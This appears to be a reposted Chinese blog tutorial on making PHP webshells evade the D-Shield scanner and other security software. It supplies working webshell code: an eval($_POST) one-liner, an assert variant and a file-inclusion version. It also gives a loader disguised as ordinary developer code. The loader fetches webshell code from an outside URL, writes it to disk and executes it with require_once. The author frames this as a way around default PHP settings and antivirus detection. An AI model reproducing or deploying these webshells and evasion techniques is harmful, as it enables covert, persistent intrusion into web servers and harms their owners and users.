淺談PHP小馬免殺


在滲透測試過程初期,上傳小馬,拿到 webshell 再進行下一步的操作,現如今的網站安全更多是

一些雲防護、CDN防護、服務器安全軟件等等,給滲透測試、提權等帶來了一定難度的提升,

今天探討一下如何做PHP小馬的免殺。

 

小馬:體積、代碼量比較小的webshell文件,一般借助“中國菜刀”、蟻劍等 shell 鏈接工具,進行進一步的滲透測試

小馬因為代碼小,顯得更加靈活。就像行軍打仗的偵察兵、卧底,里應外合,最后攻下城池

今天的PHP代碼免殺,主要是針對D盾

下載了一個最新版的D盾:http://www.d99net.net/

0x01 常見的小馬

<?php @eval($_POST['x']); ?>

上述代碼可能是大家見過最普通的小馬文件了,體積小

但是基本上過不了任何裝有了 WAF 或者安全軟件的檢測

剛在本地編寫一個,結果就被 win10 自帶的 defender 給殺了,可見其有多弱~

 

到D盾檢查一下:

爆了5級危險

由此可見,這種精簡的小馬,已經不再適合當下互聯網環境

 

0x02 初步嘗試

既然eval()函數無法使用,我們嘗試其他的可執行命令的函數吶?

更換assert()函數

同樣被檢測為高危了,由此,這種更換其他函數的方式,實則換湯不換葯,如此免殺小馬,肯定是不可行的。

還有別的方法嗎?

 

0x02 從開發者角度思考問題

為什么 PHP 或者其他編程語言當中,會出現這些“危險高權限”函數,因為開發者需要,如果都被安全軟件攔截了,那么開發人員又該如何去實現自己的功能吶?

其實,我們免殺的過程就是要從開發者會犯的錯誤入手,這些看上去符合正常業務邏輯的程序,也可能隱藏着可突破殺軟攔截的方法。

 

文件包含

從文件包含入手

<?php
    $file = isset($_GET['file'])?trim($_GET['file']):'<?php @assert($_POST["x"]);?>';
    require_once($file);
?>

再來看看,D盾的攔截提示:

3級危險提示,可疑的引用

因為是引用文件,所以提示了可疑

 

2.2 假裝自己是個程序員

仔細一琢磨,哪家的程序員會這樣寫代碼,連函數都沒有!!!

幻想自己現在是一名正在加班熬夜寫 BUG 的程序猿

那么,我們再寫個函數

<?php
    error_reporting(0);
    /**
    * DYBOY寫的BUG,通過獲取遠程小馬的代碼
    **/
    function httpGET($target_url, $get_data = array()){
        $result = file_get_contents($target_url);
        file_put_contents('../xiaoma.txt', $result);    //windows本地環境特殊,使用相對路徑,linux可以使用“/”即網站根目錄
        return TRUE;
    }

    $r_file = httpGET('http://www.top15.cn/content/uploadfile/201908/7b9c1566231060.txt');
    require_once('../xiaoma.txt');
?>

繼續優化

和安全似乎有點無關了,本人覺得上面的代碼,每次都要去遠程獲取文件,這種行為是不夠優雅的

因此增加一個判斷文件是否已存在,增強變量名可讀性

<?php
    error_reporting(0);
    /**
    * DYBOY寫的BUG,通過獲取遠程小馬的代碼
    **/
    $file_path_name = '../xiaoma.txt';

    function httpGET($target_url, $get_data = array()){
        $content = file_get_contents($target_url);
        file_put_contents($file_path_name, $content);    //windows本地環境特殊,使用相對路徑,linux可以使用“/”即網站根目錄
        return TRUE;
    }

    if(!file_exists($file_path_name)){
        httpGET('http://www.top15.cn/content/uploadfile/201908/7b9c1566231060.txt');
    }

    require_once($file_path_name);
?>

關於為什么不直接讀取遠程文件的問題,讀取遠程文件需要 php.ini 中設置 allow_url_include=On;一般來講,PHP 默認此屬性關閉,也很少會有網站會開啟此功能,因此將遠程文件先下載到本地,再利用 LFI(本地文件包含)方式執行任意代碼!

總結

其實腳本的免殺非常靈活,任何的防護軟件都得保證程序的基本功能,因此在權衡是正常程序還是異常程序這個點上,單純的腳本防護能力還是比較弱的

在對攻擊進行攔截的方法中,基於攻擊大數據訓練出來的攻擊識別模型,或許才是下一代防火牆要做的事情,不少的 CDN 雲防護產品正是基於此

在雲防護的保障下,同樣要堅信,安全無絕對,面對多維度的攻擊,雲防護也並不是無懈可擊。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM